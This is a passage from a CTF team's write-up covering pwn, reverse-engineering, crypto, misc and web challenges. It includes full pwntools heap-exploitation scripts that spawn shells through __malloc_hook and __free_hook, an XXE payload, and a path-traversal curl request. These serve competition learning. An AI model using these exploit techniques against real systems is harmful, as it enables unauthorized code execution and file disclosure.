p.recvuntil(b\u0026#34; == \u0026#34;) a = p.recvuntil(b\u0026#34;\\n\u0026#34;)[:-1].decode() print(a) proof(a) def menu(i): p.sendlineafter(b\u0026#34;4. farewell\u0026#34;, str(i)) def add(idx, size, content): menu(1) p.sendlineafter(b\u0026#34;index?\u0026#34;, str(idx)) p.sendlineafter(b\u0026#34;size?\u0026#34;, str(size)) p.sendafter(b\u0026#34;content?\u0026#34;, content) def show(idx): menu(2) p.sendlineafter(b\u0026#34;index?\u0026#34;, str(idx)) def free(idx): menu(3) p.sendlineafter(b\u0026#34;index?\u0026#34;, str(idx)) add(0, 0x80, b\u0026#34;aaa\u0026#34;) add(1, 0x80, b\u0026#34;aaa\u0026#34;) free(0) show(0) p.recvuntil(\u0026#34;\u0026#34;) libc.address = u64(p.recvuntil(b\u0026#34;\\x7f\u0026#34;)[-6:].ljust(8, b\u0026#34;\\x00\u0026#34;)) - 88 - 0x10 - libc.sym[\u0026#34;__malloc_hook\u0026#34;] add(0, 0x80, b\u0026#34;aaa\u0026#34;) add(0, 0x60, b\u0026#34;aaa\u0026#34;) add(1, 0x60, b\u0026#34;aaa\u0026#34;) add(2, 0x60, b\u0026#34;/bin/sh\u0026#34;) free(0) free(1) free(0) add(0, 0x60, p64(libc.sym[\u0026#34;__malloc_hook\u0026#34;] - 0x23)) add(1, 0x60, b\u0026#34;aaa\u0026#34;) add(3, 0x60, b\u0026#34;aaa\u0026#34;) # gdb.attach(p, \u0026#34;b add_note\u0026#34;) print(hex(libc.address)) add(4, 0x60, b\u0026#34;aaa\u0026#34; + p64(0)*2 + p64(libc.address + 0xf03a4) + p64(0)) free(0) free(0) # free(2) p.interactive() # 0x45226 execve(\u0026#34;/bin/sh\u0026#34;, rsp+0x30, environ) # constraints: # rax == NULL # 0x4527a execve(\u0026#34;/bin/sh\u0026#34;, rsp+0x30, environ) # constraints: # [rsp+0x30] == NULL # 0xf03a4 execve(\u0026#34;/bin/sh\u0026#34;, rsp+0x50, environ) # constraints: # [rsp+0x50] == NULL # 0xf1247 execve(\u0026#34;/bin/sh\u0026#34;, rsp+0x70, environ) # constraints: # [rsp+0x70] == NULL [Pwn]changeable_note By triplewings\n2.23 打 stdout\nfrom pwn import * context(os=\u0026#39;linux\u0026#39;, arch=\u0026#39;amd64\u0026#39;, log_level=\u0026#39;debug\u0026#39;) p = process(\u0026#34;./note\u0026#34;) p = remote(\u0026#34;chuj.top\u0026#34;, 52401) libc = ELF(\u0026#34;./libc-2.23.so\u0026#34;) def proof(y): may = string.ascii_letters+string.digits for i in may: for j in may: for k in may: for l in may: res = i +j +k +l if hashlib.sha256((res).encode()).hexdigest() == y: p.sendline(res) return print(\u0026#39;Wrong!\u0026#39;) p.recvuntil(b\u0026#34; == \u0026#34;) a = p.recvuntil(b\u0026#34;\\n\u0026#34;)[:-1].decode() print(a) proof(a) def menu(i): p.sendlineafter(b\u0026#34;4. farewell\u0026#34;, str(i)) def add(idx, size, content): menu(1) p.sendlineafter(b\u0026#34;index?\u0026#34;, str(idx)) p.sendlineafter(b\u0026#34;size?\u0026#34;, str(size)) p.sendafter(b\u0026#34;content?\u0026#34;, content) def edit(idx, content): menu(2) p.sendlineafter(b\u0026#34;index?\\n\u0026gt;\u0026gt; \u0026#34;, str(idx)) p.sendline(content) def free(idx): menu(3) p.sendlineafter(b\u0026#34;index?\u0026#34;, str(idx)) add(0,0x30,b\u0026#34;aaa\u0026#34;) add(1,0x60,b\u0026#34;aaa\u0026#34;) add(2,0x60,p64(0)*5 + p64(0x41)) add(3,0x10,b\u0026#34;aaa\u0026#34;) add(4,0x10,b\u0026#34;aaa\u0026#34;) edit(1, p64(0)*9 + p64(0x21)) edit(0, p64(0)*7 + p64(0xe1)) free(1) free(2) add(5,0x40,b\u0026#34;aaa\u0026#34;) add(6,0x10,b\u0026#34;aaa\u0026#34;) add(7,0x20,b\u0026#34;\\xdd\\x25\u0026#34;) add(8,0x30,b\u0026#34;aaa\u0026#34;) edit(6, p64(0)*3 + b\u0026#34;\\x71\u0026#34;) add(9, 0x60, b\u0026#34;\\xdd\\x25\u0026#34;) add(10, 0x60, b\u0026#34;\\x00\u0026#34;*0x33 + p64(0xfbad1887) +p64(0)*3 + p8(0x88)) libc.address = u64(p.recvuntil(b\u0026#34;\\x7f\u0026#34;)[-6:].ljust(8, b\u0026#34;\\x00\u0026#34;)) - libc.sym[\u0026#39;_IO_2_1_stdin_\u0026#39;] print(hex(libc.address)) edit(0, p64(0)*7 + p64(0xe1)) free(9) free(5) add(5,0x40,b\u0026#34;aaa\u0026#34;) add(6,0x10,b\u0026#34;aaa\u0026#34;) add(7,0x20,p64(libc.sym[\u0026#34;__malloc_hook\u0026#34;] - 0x23)) add(8,0x30,b\u0026#34;aaa\u0026#34;) edit(6, p64(0)*3 + b\u0026#34;\\x71\u0026#34;) add(9, 0x60, b\u0026#34;aaa\u0026#34;) add(10, 0x60, b\u0026#34;\\x00\u0026#34;*3 + p64(0)*2 + p64(libc.address + 0xf03a4)) # gdb.attach(p, \u0026#34;b edit_note\u0026#34;) edit(6, p64(0)*3 + b\u0026#34;\\x41\u0026#34;) free(9) p.interactive() # 0x45226 execve(\u0026#34;/bin/sh\u0026#34;, rsp+0x30, environ) # constraints: # rax == NULL # 0x4527a execve(\u0026#34;/bin/sh\u0026#34;, rsp+0x30, environ) # constraints: # [rsp+0x30] == NULL # 0xf03a4 execve(\u0026#34;/bin/sh\u0026#34;, rsp+0x50, environ) # constraints: # [rsp+0x50] == NULL # 0xf1247 execve(\u0026#34;/bin/sh\u0026#34;, rsp+0x70, environ) # constraints: # [rsp+0x70] == NULL [Pwn]sized_note By triplewings\noff by null, unlink unsorted bins\nfrom pwn import * context(os=\u0026#39;linux\u0026#39;, arch=\u0026#39;amd64\u0026#39;, log_level=\u0026#39;debug\u0026#39;) p = process(\u0026#34;./note\u0026#34;) p = remote(\u0026#34;chuj.top\u0026#34;, 52966) libc = ELF(\u0026#34;./libc.so.6\u0026#34;) def proof(y): may = string.ascii_letters+string.digits for i in may: for j in may: for k in may: for l in may: res = i +j +k +l if hashlib.sha256((res).encode()).hexdigest() == y: p.sendline(res) return print(\u0026#39;Wrong!\u0026#39;) p.recvuntil(b\u0026#34; == \u0026#34;) a = p.recvuntil(b\u0026#34;\\n\u0026#34;)[:-1].decode() print(a) proof(a) def menu(i): p.sendlineafter(b\u0026#34;5. farewell\u0026#34;, str(i)) def add(idx, size, content): menu(1) p.sendlineafter(b\u0026#34;index?\u0026#34;, str(idx)) p.sendlineafter(b\u0026#34;size?\u0026#34;, str(size)) p.sendafter(b\u0026#34;content?\u0026#34;, content) def edit(idx, content): menu(4) p.sendlineafter(b\u0026#34;index?\\n\u0026gt;\u0026gt; \u0026#34;, str(idx)) p.send(content) def free(idx): menu(3) p.sendlineafter(b\u0026#34;index?\u0026#34;, str(idx)) def show(idx): menu(2) p.sendlineafter(b\u0026#34;index?\u0026#34;, str(idx)) add(0, 0xf8, b\u0026#34;aaa\u0026#34;) add(1, 0x88, b\u0026#34;aaa\u0026#34;) add(2, 0xf8, b\u0026#34;aaa\u0026#34;) add(3, 0x88, b\u0026#34;aaa\u0026#34;) for i in range(7): add(4+i, 0xf8, b\u0026#34;aaa\u0026#34;) for i in range(7): free(10 - i) free(1) free(0) add(1, 0x88, b\u0026#34;a\u0026#34;*0x80+p64(0x90+0x100)) free(2) for i in range(7): add(4+i, 0xf8,\u0026#34;/bin/sh\\x00\u0026#34;) add(0, 0xf8,\u0026#34;cccc\u0026#34;) show(1) libc.address = u64(p.recvuntil(b\u0026#34;\\x7f\u0026#34;)[-6:].ljust(8, b\u0026#34;\\x00\u0026#34;)) - 96 - 0x10 - libc.sym[\u0026#39;__malloc_hook\u0026#39;] print(hex(libc.address)) # gdb.attach(p, \u0026#34;b *$rebase(0x144B)\u0026#34;) add(2, 0x88,\u0026#34;cccc\u0026#34;) free(2) edit(1, p64(libc.sym[\u0026#34;__free_hook\u0026#34;])[:-1]) add(13, 0x88, p64(libc.sym[\u0026#34;__free_hook\u0026#34;])) add(14, 0x88, p64(libc.sym[\u0026#34;system\u0026#34;])) free(5) p.interactive() # 0x4f3d5 execve(\u0026#34;/bin/sh\u0026#34;, rsp+0x40, environ) # constraints: # rsp \u0026amp; 0xf == 0 # rcx == NULL # 0x4f432 execve(\u0026#34;/bin/sh\u0026#34;, rsp+0x40, environ) # constraints: # [rsp+0x40] == NULL # 0x10a41c execve(\u0026#34;/bin/sh\u0026#34;, rsp+0x70, environ) # constraints: # [rsp+0x70] == NULL [RE]Answer\u0026rsquo;s windows By s0uthwood\n使用 right.png 字符串能够定位到验证函数\n动调发现使用了 string 的存储方式（好像就是把 string 内联了），只使用了 Base64 编码\n但 base 表和目标对应不上，显然是有反调试，自己做的时候直接猜到了真实表是 ascii 的前 64 个可见字符\n或者根据交叉引用找到 debug，把反调试判断 nop 掉再动调即可\n[RE]creakme_3 By s0uthwood\nPPC 架构，用 ghidra 看的\nundefined4 main(void) { int fs; int randnum; int j; int order_cnt; int i; int order [89]; int canary; canary = *(int *)(fs + -0x7008); memset(order,0,0x164); printf(\u0026#34;Welcome my whitegive re task! This is your flag: \u0026#34;); do { for (j = 0; j \u0026lt; 0x59; j = j + 1) { randnum = rand(); order[j] = randnum % 0x59; } order_cnt = 1; while ((order_cnt \u0026lt; 0x59 \u0026amp;\u0026amp; (a[order[order_cnt + -1] * 2 + 1] \u0026lt;= a[order[order_cnt] * 2 + 1]))) { order_cnt = order_cnt + 1; } } while (order_cnt != 0x59); for (i = 0; i \u0026lt; 0x59; i = i + 1) { putchar(a[order[i] * 2]); } if (canary == *(int *)(fs + -0x7008)) { return 0; } /* WARNING: Subroutine does not return */ __stack_chk_fail(); } 手动恢复了一下符号，简单的说就是只有满足顺序都是 \u0026lt;= 的时候才能退出第一个循环，所以 rand() 只是个忽悠人并且浪费时间的东西（后来知道这个东西叫猴子加密）\n所以提取一下数字然后排序就行\na = [ (0x30, 0x4E7D), (0x30, 0x67BD), (0x30, 0x7A48), (0x30, 0x82A2), (0x30, 0x933E), (0x31, 0x9C18), (0x32, 0x5AFF), (0x32, 0x6CD7), (0x32, 0xA6CA), (0x32, 0xBD79), (0x32, 0xCEBD), (0x33, 0x324A), (0x33, 0x3292), (0x33, 0x3905), (0x33, 0x4291), (0x33, 0x5ADE), (0x33, 0x6E9F), (0x33, 0xA52A), (0x33, 0xBE35), (0x33, 0xCB63), (0x35, 0x7F3B), (0x38, 0x3914), (0x38, 0xB2AD), (0x39, 0x38DA), (0x39, 0x4E50), (0x39, 0x6A02), (0x39, 0xB10F), (0x42, 0x78E5), (0x5F, 0x7EF6), (0x5F, 0x89A3), (0x5F, 0x8EBD), (0x5F, 0x95E3), (0x61, 0x73DA), (0x64, 0x538C), (0x64, 0x633B), (0x64, 0x9E9C), (0x64, 0xB78B), (0x64, 0xC866), (0x65, 0x32AE), (0x65, 0x7679), (0x66, 0x2AE7), (0x66, 0x4D6A), (0x66, 0x5708), (0x66, 0x6610), (0x66, 0xA258), (0x66, 0xB80C), (0x66, 0xC885), (0x67, 0x710A), (0x67, 0x7CF4), (0x68, 0x3F76), (0x68, 0x702B), (0x68, 0xA3EE), (0x68, 0xAD50), (0x68, 0xBAC7), (0x69, 0x4024), (0x69, 0x8A22), (0x69, 0xC055), (0x6A, 0x2B52), (0x6A, 0xC687), (0x6B, 0x5F00), (0x6B, 0xC417), (0x6C, 0x6182), (0x6D, 0x75DB), (0x6E, 0x3C61), (0x6E, 0x4996), (0x6E, 0x5DC1), (0x6F, 0x2D76), (0x6F, 0x7D17), (0x6F, 0xA91B), (0x70, 0x9AED), (0x72, 0x45D0), (0x72, 0x8467), (0x72, 0xAB5D), (0x73, 0x5083), (0x73, 0x6222), (0x73, 0x8D93), (0x73, 0x923A), (0x73, 0x971E), (0x73, 0xB4BA), (0x73, 0xC785), (0x74, 0x3558), (0x74, 0x86BD), (0x74, 0x9738), (0x75, 0x3710), (0x75, 0x9779), (0x77, 0x2F3F), (0x77, 0x44DD), (0x7B, 0x78E1), (0x7D, 0x9F42) ] def takeSecond(elem): return elem[1] a.sort(key=takeSecond) for i in a: print (chr(i[0]), end=\u0026#39;\u0026#39;) # fjow33etu938nhi3wrnf90sdf32nklsdf0923hgame{B0go_50rt_is_s0_stup1d}fh32orh98sdfh23ikjsdf32 [RE]fishman By s0uthwood\npyd逆向\n先定位函数\n搜索字符串，能看到几个函数名\n比如 init 函数就是 sub_180002670\n接下来就是密码算法识别\n查看一下 init 和 check 函数，这题使用的是 blowfish 密码，之前没有遇到过，所以是靠着 findcrypt 脚本识别出来的\n顺便放一下搜到的加密算法源码，来源是 https://gitee.com/miao123456miao/blowfish2\n这是一个分组密码，主要的特征就是 f 函数\n剩下的也没什么特别的，贴一下求解脚本吧\n#include \u0026lt;stdio.h\u0026gt; #include \u0026lt;stdlib.h\u0026gt; #include \u0026lt;unistd.h\u0026gt; #include \u0026#34;blowfish.h\u0026#34; void swap(uint32_t* a, uint32_t* b) { uint32_t tmp; tmp = *a; *a = *b; *b = tmp; } uint32_t blowfish_f(blowfish_t* container, uint32_t input) { uint8_t a, b, c, d; a = input \u0026gt;\u0026gt; 24; b = (input \u0026gt;\u0026gt; 16) \u0026amp; 0xff; c = (input \u0026gt;\u0026gt; 8) \u0026amp; 0xff; d = input \u0026amp; 0xff; return ((container-\u0026gt;s[0][a] + container-\u0026gt;s[1][b]) ^ container-\u0026gt;s[2][c]) + container-\u0026gt;s[3][d]; } void blowfish_cipher(blowfish_t* container, uint32_t* xl, uint32_t* xr, uint8_t mode) { int i; uint32_t loc_xl, loc_xr; loc_xl = *xl; loc_xr = *xr; if(mode == BLOWFISH_ENCRYPT) { for(i = 0; i \u0026lt; PASSES; i++) { loc_xl = loc_xl ^ container-\u0026gt;p[i]; loc_xr = blowfish_f(container, loc_xl) ^ loc_xr; swap(\u0026amp;loc_xl, \u0026amp;loc_xr); } } else if(mode == BLOWFISH_DECRYPT) { for(i = PASSES+1; i \u0026gt; 1; i--) { loc_xl = loc_xl ^ container-\u0026gt;p[i]; loc_xr = blowfish_f(container, loc_xl) ^ loc_xr; swap(\u0026amp;loc_xl, \u0026amp;loc_xr); } } swap(\u0026amp;loc_xl, \u0026amp;loc_xr); if(mode == BLOWFISH_ENCRYPT) { loc_xr = loc_xr ^ container-\u0026gt;p[PASSES]; loc_xl = loc_xl ^ container-\u0026gt;p[PASSES+1]; } else if(mode == BLOWFISH_DECRYPT) { loc_xr = loc_xr ^ container-\u0026gt;p[1]; loc_xl = loc_xl ^ container-\u0026gt;p[0]; } *xl = loc_xl; *xr = loc_xr; } blowfish_t* blowfish_initialize(unsigned char* key, uint32_t length) { blowfish_t* container = malloc(sizeof(blowfish_t)); unsigned int i, ii, j = 0; uint32_t tmp, tmp_l = 0, tmp_r = 0; if(length \u0026gt; BLOWFISH_MAX_KEY_BYTES) return (blowfish_t*) NULL; for(i = 0; i \u0026lt; PASSES+2; i++) { container-\u0026gt;p[i] = P[i]; } for(i = 0; i \u0026lt; SBOXES; i++) { for(ii = 0; ii \u0026lt; 256; ii++) { container-\u0026gt;s[i][ii] = S[i][ii]; } } for(i = 0; i \u0026lt; PASSES+2; i++) { tmp = 0; for(ii = 0; ii \u0026lt; 4; ii++) { tmp = (tmp \u0026lt;\u0026lt; 8) | key[j]; j++; if(j == length) j = 0; } container-\u0026gt;p[i] = container-\u0026gt;p[i] ^ tmp; } for(i = 0; i \u0026lt; PASSES+1; i += 2) { blowfish_cipher(container, \u0026amp;tmp_l, \u0026amp;tmp_r, BLOWFISH_ENCRYPT); container-\u0026gt;p[i] = tmp_l; container-\u0026gt;p[i+1] = tmp_r; } for(i = 0; i \u0026lt; SBOXES; i++) { for(ii = 0; ii \u0026lt; 256; ii += 2) { blowfish_cipher(container, \u0026amp;tmp_l, \u0026amp;tmp_r, BLOWFISH_ENCRYPT); container-\u0026gt;s[i][ii] = tmp_l; container-\u0026gt;s[i][ii+1] = tmp_r; } } } int main(int argc, char** argv) { uint32_t high, low; blowfish_t* container = blowfish_initialize(\u0026#34;LET_U_D\u0026#34;, 7); high = 1416580799u; low = 3035468667u; blowfish_cipher(container, \u0026amp;high, \u0026amp;low, BLOWFISH_DECRYPT); write(1, \u0026amp;high, 4); write(1, \u0026amp;low, 4); high = 2194841726u; low = 332656605u; blowfish_cipher(container, \u0026amp;high, \u0026amp;low, BLOWFISH_DECRYPT); write(1, \u0026amp;high, 4); write(1, \u0026amp;low, 4); high = 571059727u; low = 1498341217u; blowfish_cipher(container, \u0026amp;high, \u0026amp;low, BLOWFISH_DECRYPT); write(1, \u0026amp;high, 4); write(1, \u0026amp;low, 4); high = 3107158060u; low = 470279474u; blowfish_cipher(container, \u0026amp;high, \u0026amp;low, BLOWFISH_DECRYPT); write(1, \u0026amp;high, 4); write(1, \u0026amp;low, 4); return 0; } blowfish.h 去仓库找就行\n试了一下 pycrypto 库，解出来的有问题，可能库的实现和这个有区别，没深入研究\n[Crypto]Block Cipher By S1eepy\nimport operator from libnum import n2s from functools import reduce def xor(a, b): assert len(a) == len(b) return bytes(map(operator.xor, a, b)) iv = b\u0026#39;Up\\x14\\x98r\\x14%\\xb9\u0026#39; key = b\u0026#39;\\r\\xe8\\xb86\\x9c33^\u0026#39; parts = [b\u0026#39;0\\xff\\xcd\\xc3\\x8b\\\\T\\x8b\u0026#39;, b\u0026#39;RT\\x1e\\x89t\u0026amp;\\x17\\xbd\u0026#39;, b\u0026#39;\\x1a\\xee\\x8d\\xd6\\x9b\u0026gt;w\\x8c\u0026#39;, b\u0026#39;9CT\\xb3^pF\\xd0\u0026#39;] flag = [] for i in range(3, -1, -1): if i == 0: flag.append(reduce(xor, [parts[i], iv, key])) else: flag.append(reduce(xor, [parts[i], parts[i - 1], key])) print(flag[::-1]) # hgame{BloCk|cIphER+is+So.EaSY} [Crypto]Multi Prime RSA By S1eepy\nfrom gmpy2 import invert from libnum import n2s p = 61789932148719477384027458333380568978056286136137829092952317307711908353477 q = 91207969353355763685633284378833506319794714507027332929290701748727534193861 r = 105471299607375388622347272479207944509670502835651250945203397530010861809367 s = 83153238748903772448138307505579799277162652151244477391465130504267171881437 n = 1039344372165087100001063920598151812324151064684841845250974758525265148567706103784958424873181721352440209284812493753972556519482026327282644619091466886523804841248277210353173383407944598453848113815866908595335619458549486958764490103808475329598085842184963065068499489886467911087295087163762599284622055185456905774507245781667293199205317692029829495961487347944813874415423771980660778986211145841712412631156369129146470119135136378158203459576596246169191419488560832734046076107673091995860021863239882608638458149930255944184863801278386551031980146460231515747754411678651752698881001464973981424240781413084941947261875289725538959720572496329348499870580057997540844488309111059240745081048324762866572948371222839278718034435739827677190025500802453626872356208612718417249649474571197167076916403582394186357812640566250930361276229969553128128312736245440129556020108188835966131425956431796417720436474093381770796431629523054378258497546013222494974549262140415585158985940966415459478150722832119691308697510189026447359189994055885090735411738332296254011208547676914004864732327863884217733456287369771087094514708468685641820375220835485053482570852619363091173324203334503461823983610886849930944250553928855506012684504211525542998575275626784129736345142772399109273619522445919 e = 65537 c = 844677395496466411520394190869787261209960246734415406217975986418865760680024542119231873259131861208878522030009923057991526761346423130242121884493257732067700857897379859545356609151834223804262174935191718271211809221730601602827122249238086030580971376104724987801049500689134122609834321586609223761140538079460830213824674361601046367637227094018381901291488659642720549583856812747877519600804325570421770575999289389175021646347371879234023647657507178519047236746071420327155188213839293382288787853777540226192644761028822256165706787395891134765908229036044468473519166141610604791485071702808854944672418124203289328124793348198048601338476086482318248264508789781967910205393740835345086784345145351367491197717933757414967811594913692588314161669333147733048171044386546892346475181197482702164468542430187885074163177843285948999943328049159021873821254267471067523609151007885131921896462161216356454116929796355815756642621369974260365378070336290542971599886325232821981080341858950609157813769416455337935096696635623426418166316737131174435618543058086342714723330814586496030805366321181723292731710369013923285787724941830672247377301048663929453294620044701627159066468762709113137517559435822623284148112827473010030736329596829357275518641576798298066541516764673029908084962144713 phi = (p ** 2 - p) * (q ** 3 - q ** 2) * (r ** 5 - r ** 4) * (s ** 7 - s ** 6) d = invert(e, phi) print(n2s(pow(c, int(d), n))) [Crypto]RSA Attack 3 By S1eepy\n维纳攻击，github 上找个脚本解出 d 即可\nhttps://github.com/pablocelayes/rsa-wiener-attack\nfrom libnum import n2s n = 507419170088344932990702256911694788408493968749527614421614568612944144764889717229444020813658893362983714454159980719026366361318789415279417172858536381938870379267670180128174798344744371725609827872339512302232610590888649555446972990419313445687852636305518801236132032618350847705234643521557851434711389664130274468354405273873218264222293858509477860634889001898462547712800153111774564939279190835857445378261920532206352364005840238252284065587291779196975457288580812526597185332036342330147250312262816994625317482869849388424397437470502449815132000588425028055964432298176942124697105509057090546600330760364385753313923003549670107599757996810939165300581847068233156887269181096893089415302163770884312255957584660964506028002922164767453287973102961910781312351686488047510932997937700597992705557881172640175117476017503918294534205898046483981707558521558992058512940087192655700351675718815723840568640509355338482631416345193176708501897458649841539192993142790402734898948352382350766125000186026261167277014748183012844440603384989647664190074853086693408529737767147592432979469020671772152652865219092597717869942730499507426269170189547020660681363276871874469322437194397171763927907099922324375991793759 e = 77310199867448677782081572109343472783781135641712597643597122591443011229091533516758925238949755491395489408922437493670252550920826641442189683907973926843505436730014899918587477913032286153545247063493885982941194996251799882984145155733050069564485120660716110828110738784644223519725613280140006783618393995138076030616463398284819550627612102010214315235269945251741407899692274978642663650687157736417831290404871181902463904311095448368498432147292938825418930527188720696497596867575843476810225152659244529481480993843168383016583068747733118703000287423374094051895724494193455175131120243097065270804457787026492578916584536863548445813916819417857064037664101684455000184987531252344582899589746272173970083733130106407810619258077266603898529285634495710846838011858287024329514491058790557305041389614650730267774482954666726949886313386881066593946789460028399523245777171320319444673551268379126203862576627540177888290265714418064334752499940587750374552330008143708562065940245637685833371348603338834447212248648869514585047871442060412622164276894766238383894693759347590977926306581080390685360615407766600573527565016914830132066428454738135380178959590692145577418811677639050929791996313180297924833690095 c = 165251729917394529793163344300848992394021337429474789711805041655116845722480301677817165053253655027459227404782607373107477419083333844871948673626672704233977397989843349633720167495862807995411682262559392496273163155214888276398332204954185252030616473235814999366132031184631541209554169938146205402400412307638567132128690379079483633171535375278689326189057930259534983374296873110199636558962144635514392282351103900375366360933088605794654279480277782805401749872568584335215630740265944133347038070337891035560658434763924576508969938866566235926587685108811154229747423410476421860059769485356567301897413767088823807510568561254627099309752215808220067495561412081320541540679503218232020279947159175547517811501280846596226165148013762293861131544331444165070186672186027410082671602892508739473724143698396105392623164025712124329254933353509384748403154342322725203183050328143736631333990445537119855865348221215277608372952942702104088940952142851523651639574409075484106857403651453121036577767672430612728022444370874223001778580387635197325043524719396707713385963432915855227152371800527536048555551237729690663544828830627192867570345853910196397851763591543484023134551876591248557980182981967782409054277224 d = 13094612077654083919 print(n2s(pow(c, d, n))) # hgame{dO|YOU:kNOw!tHE*PRINcIplE*bEhInd%WInNEr#aTTacK} [Misc]卡中毒 By NULLPointer\n题目给出了一个 raw 文件，提示本题考查内存审计的知识点。使用内存审计工具 volativity 查看文件信息。\n首先查看系统配置，使用指令 imageinfo 指令查看系统文件，发现主系统为 Win7SP1x64。\n随后使用 pslist 和 filescan 指令查看运行程序和系统文件，为加快扫描速度只提取 flag 等关键词，发现名为 flag.txt.txt.7z 和 flag.txt.txt.WannaRen 的文件。\n使用 dumpfiles 指令提取文件，用 HexEditor 扫描无异常，打开 flag.txt.txt.WannaRen 文件发现内容被加密，无法阅读。查阅相关资料得知系统感染了 WannaRen 病毒导致系统内部存储文件被加密。WannaRen 使用 RC4 和 RSA 的混合加密模式，加密后的文件名会被修改为 WannaRen，只能使用对应的 RSA 私钥解密，无法被暴力破解。目前已有针对该病毒的解密工具，下载解密工具并按照操作流程解密得到 flag.txt.txt 文件。\n文件内容使用新与佛论禅加密，使用解密网站 http://hi.pcmoe.net/buddha.html 解密即可得到flag。\nweek4 [Web]Comment By SSGSS\n代码中允许引入外部实体，libxml_disable_entity_loader(false);\n协议过滤的比较死，但是能通过 compress.zlib:// 这个协议拿到 /etc/passwd 这种，但是还是拿不到源码，因为源码里有 php。\n于是利用 data 协议的输入流，将输入流 base64，将外部实体导入到 \u0026lt;sender\u0026gt; 当中，绕过 waf。\n\u0026lt;?xml version=\u0026#34;1.0\u0026#34; encoding=\u0026#34;ISO-8859-1\u0026#34;?\u0026gt; \u0026lt;!DOCTYPE foo [ \u0026lt;!ELEMENT foo ANY \u0026gt; \u0026lt;!ENTITY xxe SYSTEM \u0026#34;data://text/plain;base64,YWRtaW4=\u0026#34; \u0026gt;]\u0026gt; \u0026lt;comment\u0026gt;\u0026lt;sender\u0026gt;\u0026amp;xxe;\u0026lt;/sender\u0026gt;\u0026lt;content\u0026gt;\u0026lt;/content\u0026gt;sb\u0026lt;/comment\u0026gt; pil1ow 师傅的做法非预期了，用 html 实体编码绕，不用引入外部实体。\n\u0026lt;comment\u0026gt;\u0026lt;sender\u0026gt;\u0026amp;#97;\u0026amp;#100;\u0026amp;#109;\u0026amp;#105;\u0026amp;#110;\u0026lt;/sender\u0026gt;\u0026lt;content\u0026gt;sb\u0026lt;/content\u0026gt;\u0026lt;/comment\u0026gt; 好文章：\nXXE - XEE - XML External Entity - HackTricks\n[Web]FileSystem By SSGSS\n$ curl --path-as-is -X CONNECT http://1e4c3338e4.filesystem.hgame.homeboyc.cn/main.go/../there_may_be_a_flag hgame{79f33a8b9913e797c56375c6a78865dc439578f70d572b9a402f1ad57f7eb856} [Pwn]vector By triplewings\n了解 vector 的申请原理，制造 double_free from pwn import * context(os=\u0026#39;linux\u0026#39;, arch=\u0026#39;amd64\u0026#39;, log_level=\u0026#39;debug\u0026#39;) p = process(\u0026#34;./vector\u0026#34;) # p = remote(\u0026#34;chuj.top\u0026#34;, 51445) libc = ELF(\u0026#34;./libc.so.6\u0026#34;) # def proof(y): # may = string.ascii_letters+string.digits # for i in may: # for j in may: # for k in may: # for l in may: # res = i +j +k +l # if hashlib.sha256((res).encode()).hexdigest() == y: # p.sendline(res) # return # print(\u0026#39;Wrong!\u0026#39;) # p.recvuntil(b\u0026#34; == \u0026#34;) # a = p.recvuntil(b\u0026#34;\\n\u0026#34;)[:-1].decode() # print(a) # proof(a) def menu(i): p.sendlineafter(b\u0026#34;farewell\u0026#34;, str(i)) def add(idx, size, content): menu(1) p.sendlineafter(b\u0026#34;index?\u0026#34;, str(idx)) p.sendlineafter(b\u0026#34;size?\u0026#34;, str(size)) p.sendafter(b\u0026#34;content?\u0026#34;, content) def show(idx): menu(3) p.sendlineafter(b\u0026#34;index?\u0026#34;, str(idx)) def free(idx): menu(4) p.sendlineafter(b\u0026#34;index?\u0026#34;, str(idx)) def move(f, t): menu(5) for i in range(f): p.sendlineafter(\u0026#34;[1/0]\\n\u0026gt;\u0026gt; \u0026#34;, b\u0026#34;0\u0026#34;) p.sendlineafter(\u0026#34;[1/0]\\n\u0026gt;\u0026gt; \u0026#34;, b\u0026#34;1\u0026#34;) p.sendlineafter(\u0026#34;\u0026gt;\u0026gt;\u0026#34;, str(t)) for i in range(8): add(i, 0x100, b\u0026#34;aaaa\u0026#34;) for i in range(8,10): add(i, 0x70, b\u0026#34;aaaa\u0026#34;) for i in range(1,8): free(i) free(0) add(0, 0x50, b\u0026#39;aaaaaaaa\u0026#39;) show(0) libc.address = u64(p.recvuntil(b\u0026#34;\\x7f\u0026#34;)[-6:].ljust(8, b\u0026#34;\\x00\u0026#34;)) - libc.sym[\u0026#34;__malloc_hook\u0026#34;] - 0x170 print(hex(libc.address)) for i in range(1, 8): add(i, 0x70, b\u0026#39;aaa\u0026#39;) move(2, 17) add(10, 0x70, b\u0026#39;idx:10\u0026#39;) for i in range(3, 10): free(i) free(2) free(10) free(17) for i in range(2, 9): add(i, 0x70, \u0026#39;\\n\u0026#39;) add(9, 0x70, p64(libc.sym[\u0026#34;__free_hook\u0026#34;])) add(11, 0x70, b\u0026#39;pass\\n\u0026#39;) add(12, 0x70, b\u0026#39;/bin/sh\\x00\\n\u0026#39;) add(17, 0x70, p64(libc.sym[\u0026#34;system\u0026#34;])) free(12) gdb.attach(p) p.interactive() [RE]WOW By s0uthwood\n这题几乎和天堂之门没关系，主要是把密钥隐藏了，运算之后应该是 12345678，但也可以直接用 windbg 动调拿到轮密钥\n通过置换函数+明显的常数特征判断是 DES，直接解密就行\n网上抄了份 DES，改一改就行\nsolve.c\n#include \u0026lt;stdlib.h\u0026gt; #include \u0026lt;stdio.h\u0026gt; #include \u0026#34;bool.h\u0026#34; #include \u0026#34;tables.h\u0026#34; void BitsCopy(bool *DatOut,bool *DatIn,int Len); void ByteToBit(bool *DatOut,char *DatIn,int Num); void BitToByte(char *DatOut,bool *DatIn,int Num); void BitToHex(char *DatOut,bool *DatIn,int Num); void HexToBit(bool *DatOut,char *DatIn,int Num); void TablePermute(bool *DatOut,bool *DatIn,const char *Table,int Num); void LoopMove(bool *DatIn,int Len,int Num); void Xor(bool *DatA,bool *DatB,int Num); void S_Change(bool DatOut[32],bool DatIn[48]); void F_Change(bool DatIn[32],bool DatKi[48]); void SetKey(char KeyIn[8]); void PlayDes(char MesOut[8],char MesIn[8]); void KickDes(char MesOut[8],char MesIn[8]); int main() { char MesHex[64]={\u0026#34;92028926CF6497655A09A46F3A079DB14320B10556683353BB5AF969BBB23EA2\u0026#34;}; // 16个字符数组用于存放 64位16进制的密文 char MyMessage[32]={0}; KickDes(MyMessage,MesHex); KickDes(MyMessage+8,MesHex+16); KickDes(MyMessage+16,MesHex+32); KickDes(MyMessage+24,MesHex+48); printf(\u0026#34;Deciphering Over !!:\\n\u0026#34;); for(int i = 0; i \u0026lt; 32; i++) { printf(\u0026#34;%c\u0026#34;, MyMessage[i]); } 